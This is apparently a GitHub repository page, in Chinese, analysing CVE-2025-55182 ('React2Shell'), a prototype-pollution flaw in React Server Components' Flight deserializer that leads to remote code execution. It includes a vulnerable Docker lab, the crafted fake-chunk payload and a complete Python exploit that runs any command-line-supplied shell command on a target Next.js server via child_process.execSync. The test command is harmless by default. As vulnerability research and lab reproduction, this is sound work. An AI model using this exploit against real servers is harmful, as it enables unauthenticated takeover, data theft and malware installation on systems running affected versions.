ycseo-git/CVE-2025-55182
GitHub: ycseo-git/CVE-2025-55182
该项目是对CVE-2025-55182 React2Shell漏洞的分析和概念验证,演示如何通过React Server Components中的原型污染实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-55182 React2Shell 分析报告
# 1. 环境 (必需)
## 1.1. Dockerfile (必需)
此环境使用一个基于官方 Node.js Alpine 镜像的自定义 Dockerfile。
```
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
```
此 Dockerfile 构建了一个存在漏洞的 React Server Components (RSC) 和 Next.js App Router 环境。
该环境安装了存在漏洞的版本:
* React 19 RC
* React Server DOM Webpack
* Next.js 15.0.0
存在漏洞的服务器使用 `npm run dev` 以开发模式运行。
存在漏洞的服务器使用 `npm run dev` 以开发模式运行。
## 1.2. 服务架构 (必需)
该环境采用以下结构运行:
```
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
```
### 攻击者 / exploit.py
攻击者向存在漏洞的 Next.js 应用程序发送一个特制的 `multipart/form-data` 请求。
恶意载荷滥用 React Flight 协议的反序列化过程。
### Next.js 应用路由
存在漏洞的应用程序使用 Next.js App Router 架构。
请求通过 React Server Components 管道进行处理。
应用程序源代码存储在 `src/app/` 目录内。
```
src/
└── app/
├── layout.js
└── page.js
```
`layout.js` 文件定义了 App Router 结构所需的根布局,并初始化 React Server Components 环境。
```
export default function RootLayout({ children }) {
return ({children});
}
```
`page.js` 文件定义了渲染在 `/` 的根页面,并显示一条简单的消息,表明漏洞服务器正在运行。
```
export default function Page() {
return (
Vulnerable Server
); } ``` 项目依赖和执行脚本通过 `package.json` 文件进行管理。 ``` { "name": "cve-2025-55182-vuln-app", "version": "1.0.0", "private": true, "scripts": { "dev": "next dev -p 3000" }, "dependencies": { "next": "15.0.0", "react": "19.0.0-rc-65a56d0e-20241020", "react-dom": "19.0.0-rc-65a56d0e-20241020", "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020" } } ``` 此文件定义了存在漏洞的版本: * Next.js * React * react-dom * react-server-dom-webpack 存在漏洞的应用程序通过以下方式执行: ``` "scripts": { "dev": "next dev" } ``` 服务器通过以下命令启动: ``` npm run dev ``` 这会在端口 `3000` 上启动存在漏洞的 Next.js 开发服务器。 ### React Flight 协议解析器 Flight 协议反序列化复杂的 React 对象,例如: * Promise 引用 * Blob 引用 * Chunk 引用 * 服务器操作 * 循环引用 漏洞发生在此反序列化过程中。 ### React Server Components 运行时 不安全的属性遍历和原型访问最终允许攻击者劫持 Function 构造函数。 ### Node.js 运行时 成功利用漏洞后,任意 JavaScript 代码在 Node.js 服务器环境内执行。 ## 1.3. 镜像与版本 (必需) | 组件 | 版本 | | -------------------------- | --------- | | Node.js | 20-alpine | | Next.js | 15.0.0 | | React | 19.0.0-rc | | react-dom | 19.0.0-rc | | react-server-dom-webpack | 19.0.0-rc | 该环境使用存在漏洞的 React Server Components 和 Flight 协议实现。 # 2. 根本原因 (必需) ## 2.1. 漏洞描述 (必需) CVE-2025-55182,也称为 React2Shell,是一个影响 React Server Components 和 React Flight 协议的严重远程代码执行 (RCE) 漏洞。 该问题允许攻击者: * 创建伪造的 chunk 对象 * 滥用原型遍历 * 劫持 Function 构造函数 * 在服务器上执行任意 JavaScript 代码 该漏洞尤其危险,因为利用过程可以通过单个精心构造的 HTTP 请求完成,且无需身份验证。 使用存在漏洞的 React Server Components 和 Next.js App Router 配置的应用程序直接暴露在风险中。 ## 2.2. 根本原因分析 (必需) 漏洞的根本原因在于 Flight 协议反序列化过程中对攻击者控制的对象引用的处理不安全。 React Flight 内部使用特殊的引用字符串,例如: ``` $@0 $B1337 $1:__proto__:then ``` 这些引用在反序列化期间被递归解析。 存在漏洞的逻辑执行了类似以下的属性遍历: ``` value[path[i]] ``` 而没有验证该属性是否属于对象本身。 因此,攻击者可以访问危险的 JavaScript 原型链属性,例如: ``` __proto__ constructor prototype ``` 这最终导致原型污染和 Function 构造函数劫持。 ### 伪造 Chunk 创建 攻击者首先创建一个伪造的 React chunk 对象。 ``` { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "touch /tmp/success.txt", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ``` 关键字段是: ``` "status": "resolved_model" ``` React 运行时错误地信任了此字段,并将攻击者控制的对象视为合法的内部 chunk 对象。 ### 原型污染 载荷: ``` $1:__proto__:then ``` 导致反序列化器遍历 JavaScript 原型链。 因为漏洞代码不验证危险属性,攻击者获得了访问权限: ``` Chunk.prototype.then ``` 这将伪造的 chunk 转换为一个 thenable 对象。 ### Function 构造函数劫持 载荷: ``` $1:constructor:constructor ``` 最终解析为: ``` Function ``` 这替换了: ``` response._formData.get ``` 为全局 JavaScript Function 构造函数。 结果,使得: ``` Function(attacker_controlled_payload) ``` 成为可能。 ### Blob 解析触发 载荷: ``` $B1337 ``` 强制 React Flight 解析器进入 Blob 解析逻辑。 在此过程中: ``` response._formData.get(...) ``` 被执行。 然而,攻击者已将此函数替换为全局 Function 构造函数。 这最终导致在 Node.js 运行时内执行任意 JavaScript 代码。 ## 2.3. 漏洞触发过程 (必需) 漏洞利用过程按以下顺序发生: ``` Attacker Request ↓ Flight Payload Parsing ↓ Fake Chunk Creation ↓ Prototype Pollution ↓ Function Constructor Hijacking ↓ Blob Parsing Trigger ↓ Promise Resolution ↓ Remote Code Execution ``` 攻击者首先发送一个精心构造的 multipart Flight 请求。 存在漏洞的服务器反序列化恶意载荷,并递归解析攻击者控制的引用。 不安全的原型遍历最终允许攻击者劫持 Function 构造函数。 在 Promise 解析和 Blob 解析期间,执行了任意 JavaScript 代码。 ## 2.4. 攻击流程与影响 (必需) 成功的利用允许攻击者在 Node.js 服务器环境内执行任意 JavaScript 代码。 在此环境中,漏洞利用执行了: ``` touch /tmp/success.txt ``` 当容器内存在以下文件时,表示成功利用了漏洞: ``` /tmp/success.txt ``` 在真实环境中,攻击者可以: * 执行任意系统命令 * 下载并执行恶意软件 * 窃取敏感服务器数据 * 渗透到内部基础设施 * 危及后端系统 * 滥用服务器端渲染管道 该漏洞尤其危险,因为它影响的是 React 框架内部,而非应用程序业务逻辑。 这意味着仅仅通过使用受影响的框架版本,大量应用程序可能变得易受攻击。 # 3. PoC (必需) ## 3.1. PoC 概述 (必需) 概念验证 (PoC) 是用 Python 编写的。 该漏洞利用直接向存在漏洞的 Next.js 应用程序发送恶意的 `multipart/form-data` 请求。 PoC 执行以下操作: 1. 创建恶意的 Flight 协议载荷 2. 构造伪造的 React chunk 引用 3. 触发原型遍历 4. 劫持 Function 构造函数 5. 在 Node.js 运行时内执行任意 JavaScript 代码 ## 3.2. PoC 代码 ``` import requests import sys def exploit_rce(url, command): headers = { "Host": "localhost", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "Next-Action": "x", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" } payload_json = ( '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}","_response":{' f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",' '"_formData":{"get":"$1:constructor:constructor"}}}' ) data = ( "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" "Content-Disposition: form-data; name=\"0\"\r\n" "\r\n" f"{payload_json}\r\n" "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" "Content-Disposition: form-data; name=\"1\"\r\n" "\r\n" "\"$@0\"\r\n" "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n" ) try: print(f"[*] Sending RCE payload to {url}...") print(f"[*] Command: {command}") response = requests.post(url, headers=headers, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Body Preview: {response.text[:500]}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://localhost:3000" cmd = "touch /tmp/success.txt" if len(sys.argv) > 1: cmd = sys.argv[1] if len(sys.argv) > 2: target_url = sys.argv[2] exploit_rce(target_url, cmd) ``` ## 3.3. 载荷分析 (必需) 漏洞利用载荷使用了多个精心构造的 Flight 协议引用。 ### `$1:__proto__:then` | 部分 | 目的 | | ----------- | ------------------------------ | | `$1` | 引用 chunk 1 | | `__proto__` | 遍历原型链 | | `then` | 获取 `Chunk.prototype.then` | 此载荷将伪造的 chunk 转换为一个 thenable 对象。 ### `$1:constructor:constructor` | 部分 | 目的 | | ------------- | ---------------------------------- | | `$1` | 引用 chunk 1 | | `constructor` | 访问对象构造函数 | | `constructor` | 解析为全局 Function 构造函数 | 此载荷劫持了 JavaScript Function 构造函数。 ### `$B1337` `$B` 前缀强制 Flight 解析器进入 Blob 解析逻辑。 在此过程中: ``` response._formData.get(...) ``` 被执行。 由于攻击者已将此方法替换为 Function 构造函数,因此执行了任意 JavaScript 代码。 ### `$@0` 此载荷创建了一个循环的 chunk 引用。 Chunk 1 最终再次引用了 Chunk 0。 这种结构允许反序列化器在原型遍历期间使用攻击者控制的伪造 chunk 对象。 ## 3.4. PoC 代码执行过程 (必需) ### 边界生成 漏洞利用首先创建一个随机的 multipart 边界。 ``` boundary = "----WebKitFormBoundary" + uuid.uuid4().hex ``` 这是构造有效的 multipart/form-data 请求所必需的。 ### 伪造 Chunk 构造 漏洞利用构造一个恶意的伪造 chunk 对象。 ``` "status":"resolved_model" ``` 这导致 React 运行时将攻击者控制的对象视为有效的内部 chunk。 ### 原型遍历 以下载荷: ``` $1:__proto__:then ``` 强制存在漏洞的解析器遍历 JavaScript 原型链。 ### Function 构造函数劫持 以下载荷: ``` $1:constructor:constructor ``` 将内部的 `get` 方法替换为 JavaScript Function 构造函数。 ### 任意代码执行 载荷: ``` require('child_process').execSync('touch /tmp/success.txt') ``` 最终在 Node.js 运行时内执行。 ### 预期结果 成功利用将在存在漏洞的容器内创建: ``` /tmp/success.txt ``` # 4. 复现 (必需) ## 4.1. PoC 与漏洞利用执行过程 (必需) 完整的漏洞利用流程概述如下: ``` Start Docker Environment ↓ Run Vulnerable Next.js Server ↓ Execute exploit.py ↓ Send Malicious Flight Payload ↓ Trigger Prototype Pollution ↓ Hijack Function Constructor ↓ Trigger Blob Parsing ↓ Execute Arbitrary Code ↓ Verify /tmp/success.txt ``` ## 4.2. 实际漏洞利用执行步骤 (必需) ### 构建存在漏洞的环境 构建 Docker 镜像。 ``` docker build -t rsc-vuln . ``` ### 运行存在漏洞的容器 运行存在漏洞的容器。 ``` docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln ``` 存在漏洞的 Next.js 服务器将运行在: ``` http://127.0.0.1:3000 ``` ### 运行漏洞利用 执行 PoC 脚本。 ``` python3 exploit.py ``` 漏洞利用向存在漏洞的 Next.js 服务器发送恶意的 React Flight 载荷。 ### 验证远程代码执行 验证漏洞利用是否成功创建了目标文件。 ``` docker exec -it my-vuln-server ls -la /tmp/success.txt ``` 成功利用确认在存在漏洞的容器内发生了任意代码执行。 ## 4.3. 结果分析 (必需) ### 预期输出 在成功利用期间,漏洞利用应触发 React Flight 反序列化和原型遍历。 存在漏洞的服务器处理恶意的 Flight 载荷并执行攻击者控制的 JavaScript 代码。 ### 成功利用验证 当以下文件存在时,表示成功利用了漏洞: ``` /tmp/success.txt ``` 示例输出: ``` -rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt ``` 这确认了在存在漏洞的 Node.js 环境内成功执行了任意命令。 ## 4.4. 截图 (必需) 以下截图包含在 `screenshots/` 目录中:  标签:App Router, CMS安全, CVE-2025-55182, Docker, GNU通用公共许可证, JavaScript, MITM代理, Node.js, React, React2Shell, React Server Components, Syscalls, 代码执行, 反序列化漏洞, 安全测试, 安全防御评估, 开发环境, 攻击性安全, 漏洞分析, 网络安全, 请求拦截, 路径探测, 远程攻击, 逆向工具, 隐私保护